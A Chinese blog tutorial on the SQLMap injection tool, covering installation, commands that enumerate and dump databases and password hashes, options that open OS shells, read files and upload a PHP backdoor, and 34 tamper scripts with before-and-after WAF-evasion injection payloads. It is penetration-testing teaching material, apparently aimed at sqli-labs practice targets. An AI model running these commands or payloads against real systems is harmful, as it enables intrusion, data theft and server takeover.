SQLMap工具使用

一、SQLMap详解
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、 Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap采用了以下5种独特的SQL注入技术。
  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语 句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句时的注入。
SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。 SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用SQLMap会有意想不到的效果。
 
二、SQLMap安装
SQLMap的安装需要Python环境,这边使用的是Python 3.8.2,可在官网下载安装包并一键安装,安装完成后,复制Python的安装目录,添加到环境变量值中。
 环境变量设置好后到cmd中,敲个python,出现如下说明环境已经装好了
 接下来在SQLMap的官网(http://www.sqlmap.org)下载最新版的SQLMap,下载到Python的安装目录下,并把SQLMap目录加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行。
 
三、SQLMap入门
1.判断是否存在注入点
假设url是:http://www.url.com/sqli-labs/Less-2/?id=1
python sqlmap.py -u http://www.baidu.com/sqli-labs/Less-2/?id=1
当注入点后面的参数大于等于两个时,需要加双引号""
python sqlmap.py -u "http://www.baidu.com/sqli-labs/Less-2/?id=1&uid=2 "
2.判断文本中的请求是否存在注入
使用burp抓包,复制保存到1.txt
-r一般存在cookie注入时使用
python sqlmap.py -r C:\Users\6\Desktop\1.txt
3.查询当前所有的数据库名
python sqlmap.py -u http://www.url.com/sqli-labs/Less-2/?id=1 --dbs

   4.获取数据库中的表名,-D 指定数据库名

python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" -D fox --tables
5.获取表中的字段名,-T 指定表名
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" -D fox -T news --columns
6.获取字段内容,-C 指定字段名,这里指定两个
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" -D fox -T news -C title,content --dump
7.获取数据库的所有用户
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --users
8.获取数据库用户的密码
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --password
9.获取当前网站数据库的名称,--current-db
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --current-db
10.获取当前网站数据库的用户名称,--current-user
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --current-user
 
四、SQLMap进阶:参数讲解
1. --level 5:探测等级
参数--level 5指需要执行的测试等级,一共有5个等级(1-5),可不加level,默认是1。SQLMap使用的Payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解出cookie,XFF等头部,注入。当然, level 5的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值。
 
2. --is-dba:当前用户是否为管理权限,返回true则为是管理权限,否则不是
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --is-dba
3. --roles:列出数据库管理员的角色
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --roles
4. --referer:HTTP Referer头
SQLMap可以在请求中伪造HTTP中的referer, 当-level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如--referer http://www.baidu.com。
python sqlmap.py -u --referer "http://www.url.com/sqli-labs/Less-2/?id=1" 
5. --sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句,假设执行select * from users limit 0,1语句
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1"  --sql-shell
6. --os-cmd,-os-shell:运行任意操作系统命令
在数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL,SQLMap上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),那么创建的这两个函数就可以执行系统命令。在Microsoft SQL Server中, SQLMap将使用xp_cmdshell存储过程,如果被禁用(在Microsoft SQL Server 2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建。
用--os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门。--os-shell支持ASP、ASP.NET、JSP和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就是--is-dba的值要为True)。
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --os-cmd
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --os-shell
7. --file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgresQL或Microsoft SQLServer,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --file-read "E:/wamp/www/1.txt" 
8. --file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --file-write C:\Users\76336\Desktop\1.php --file-dest "E:\wamp\www\2.php"
#将本地的C:\Users\76336\Desktop\1.php文件上传到目标服务器E:\wamp\www\2.php
 
五、SQLMap自带绕过脚本tamper的讲解
SQLMap在默认情况下除了使用CHARO函数防止出现单引号,没有对注入的数据进行修改,还可以使用-tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下所示。
python sqlmap.py -u "http://www.url.com/sqli-labs/Less-2/?id=1" --tamper "模块名"
目前官方提供53个绕过脚本,在日常使用中,我们会对一些网站是否有安全防护(WAF/IDS/IPS)进行试探,可以使用参数--identify-waf进行检测。下面介绍一些常用的tamper脚本。
1、apostrophemask.py:将引号替换为UTF-8,用于过滤单引号。
使用前语句:AND '1'='1
使用后语句:AND %EF%BC%871%EF%BC%87=%EF%BC%871
测试通过的数据库类型和版本为:ALL

   2、base64encode.py:替换为base64编码。

使用前语句:1' AND SLEEP(5)#
使用后语句:MScgQU5EIFNMRUVQKDUpIw==
测试通过的数据库类型和版本为:ALL
3、multiplespaces.py:围绕SQL关键字添加多个空格。
使用前语句:UNION SELECT foobar
使用后语句:UNION    SELECT    foobar
测试通过的数据库类型和版本为:ALL
4、space2plus.py:用+号替换为空格。
使用前语句:SELECT id FROM users
使用后语句:SELECT+id+FROM+users
测试通过的数据库类型和版本为:ALL
5、nonrecursivereplacement.py:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将SELECT替换为空)。
使用前语句:UNION SELECT 2--
使用后语句:UNIOUNIONN SELESELECTCT 2--
测试通过的数据库类型和版本为:ALL
6、space2randomblank.py:将空格替换为其他有效字符。
使用前语句:SELECT di FROM users
使用后语句:SELECT%0Did%0DFROM%0Ausers
测试通过的数据库类型和版本为:ALL
7、unionalltounion.py:将UNION ALL SELECT替换为UNION SELECT。
使用前语句:-1 UNION ALL SELECT
使用后语句:-1 UNION SELECT
测试通过的数据库类型和版本为:ALL
8、securespher.py:追加特制的字符串。
使用前语句:1 AND 1=1
使用后语句:1 AND 1=1 and '0having'='0having'
测试通过的数据库类型和版本为:ALL
9、space2hash.py:将空格替换为#号,并添加一个随机字符串和换行符。
使用前语句:1 AND 9227=9227
使用后语句:1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
测试通过的数据库类型和版本为:ALL
10、space2mssqlblank.py(mssql):将空格替换为其他空符号('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')。
使用前语句:SELECT id FROM users
使用后语句:SELECT%0Eid%0DFROM%07users
测试通过的数据库类型和版本为:Microsoft SQL Server 2000、Microsoft SQL Server 2005
11、spce2mssqlhash.py:将空格替换为#号,并添加一个换行符。
使用前语句:1 AND 9277=9277
使用后语句:1%23%0AAND%230A9227=9227
测试通过的数据库类型和版本为:ALL
12、between.py:用NOT BETWEEN 0 AND 替换大于号(>),用BETWEN AND 替换等号(=)。
使用前语句:1 AND A > B--
使用后语句:1 AND A NOT BETWEEN 0 AND B--
使用前语句:1 AND A=B--
使用后语句:1 AND A BETWEEN B AND B--
测试通过的数据库类型和版本为:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
13、percentage.py:ASP允许在每个字符前面添加一个%号1。
使用前语句:SELECT FIELD FROM TABLE
使用后语句:%S%E%L%E%C%TV% F%I%E%L%D% F%R%O%M% T%A%B%L%E
测试通过的数据库类型和版本为:ASP,Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
14、sp_password.py:从DBMS日志的自动模糊处理的有效载荷中追加sp_password。
使用前语句:1 AND 9277=9277--
使用后语句:1 AND 9277=9277-- sp_password
测试通过的数据库类型和版本为:MSSQL
15、charencode.py:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。
使用前语句:'SELECT FIELD FROM%20TABLE'
使用后语句:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45
测试通过的数据库类型和版本为:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
16、randomcase.py:随机大小写。
使用前语句:INSERT
使用后语句:INseRt
测试通过的数据库类型和版本为:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
17、charunicodeencode.py:字符串unicode编码。
使用前语句:SELECT FIELD%20FROM TABLE
使用后语句:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045
测试通过的数据库类型和版本为:ASP、ASP.NET,Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
18、space2comment.py:将空格替换为/**/。
使用前语句:SELECT id FROM users
使用后语句:SELECT/**/id/**/FROM/**/users
测试通过的数据库类型和版本为:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
19、equaltolike.py:将等号替换为like。
使用前语句:SELECT * FROM users WHERE id=1
使用后语句:SELECT * FROM users WHERE id LIKE 1
测试通过的数据库类型和版本为:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
20、greatest.py:绕过对”>"的过滤,用GREATEEST替换大于号。
使用前语句:1 AND A > B
使用后语句:1 AND GREATEST(A,B+1)=A
测试通过的数据库类型和版本为:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
21、ifnull2ifisnull.py:绕过对IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A)。
使用前语句:IFNULL(1, 2)
使用后语句:ISNULL(1),2,1
测试通过的数据库类型和版本为:MySQL 5.0、MySQL 5.5
22、modsecurityversioned.py:过滤空格,使用MySQL内联注释的方式进行注入。
使用前语句:'1 AND 2>1--'
使用后语句:1 /*!30874AND 2>1*/--
测试通过的数据库类型和版本为:MySQL5.0
23、space2mysalblank.py:将空格替换为其它空白符号(适用于MySQL)。
使用前语句:SELECT id FROM users
使用后语句:SELECT%0Bid%0DFROM%0Cusers
测试通过的数据库类型和版本为:MySQL5.1
24、modesecurityzeroversioned.py:使用MySQL内联注释的方式(/*!00000*/)。
使用前语句:'1 AND 2>1--'
使用后语句:1 /*!00000AND 2>1*/--
测试通过的数据库类型和版本为:MySQL 5.0
25、space2mysqldash.py:将空格替换为--,并添加一个换行符。
使用前语句:1 AND 9227=9227
使用后语句:1--%0AAND--%0A9227=9227
测试通过的数据库类型和版本为:MySQL、MSSQL
26、bluecoat.py:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。
使用前语句:SELECT id FROM users where id = 1
使用后语句:SELECT%09id FROM users where id LIKE 1
测试通过的数据库类型和版本为:MySQL5.1和SGOS
27、versionedkeywords.py:注释绕过。
使用前语句:UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
使用后语句:/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
测试通过的数据库类型和版本为:MySQL 4.0.18, 5.1.56, 5.5.11
28、halfversionedmorekeywords.py:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释。
使用前语句:value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa
使用后语句:value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa
测试通过的数据库类型和版本为:MySQL 4.0.18和MySQL 5.0.22
29、space2morehash.py:将空格替换为#号,并添加一个随机字符串和换行符。
使用前语句:1 AND 9227=9227
使用后语句:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227
测试通过的数据库类型和版本为:MySQL5.1.14
30、apostrophenullencode.py:用非法双字节unicode字符替换单引号。
使用前语句:1 AND '1'='1
使用后语句:1 AND %00%271%00%27=%00%271
测试通过的数据库类型和版本为:ALL
31、appendnullbyte.py:在有效负荷的结束位置加载零字节字符编码。
使用前语句:1 AND 1=1
使用后语句:1 AND 1=1%00
测试通过的数据库类型和版本为:ALL
32、chardoubleeencode.py:对给定的Payload全部字符使用双重URL编码(不处理已编码的字符)。
使用前语句:SELECT FIELD FROM%20TABLE
使用后语句:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545
测试通过的数据库类型和版本为:ALL
33、unmagicquotes.py:用一个多字节组合(%bf%27)和末尾通用注释也一起替换空格。
使用前语句:1' AND 1=1
使用后语句:1%bf%27 AND 1=1--
测试通过的数据库类型和版本为:ALL
34、randomcomments.py:用/**/分割SQL关键字。
使用前语句:INSERT
使用后语句:I/**/N/**/SERT
测试通过的数据库类型和版本为:ALL
虽然SQLMap自带的tamper可以做很多事情,但在实际环境中,往往比较复杂,可能会遇到很多情况,tamper不可能很全面地应对各种环境,所以,在学如何使用自带的tamper的同时,最好能够掌握tamper的编写规则,这样在应对各种实战环境时才能更自如。
posted @ 2021-01-30 16:35  Tkb-  阅读(510)  评论(0编辑  收藏  举报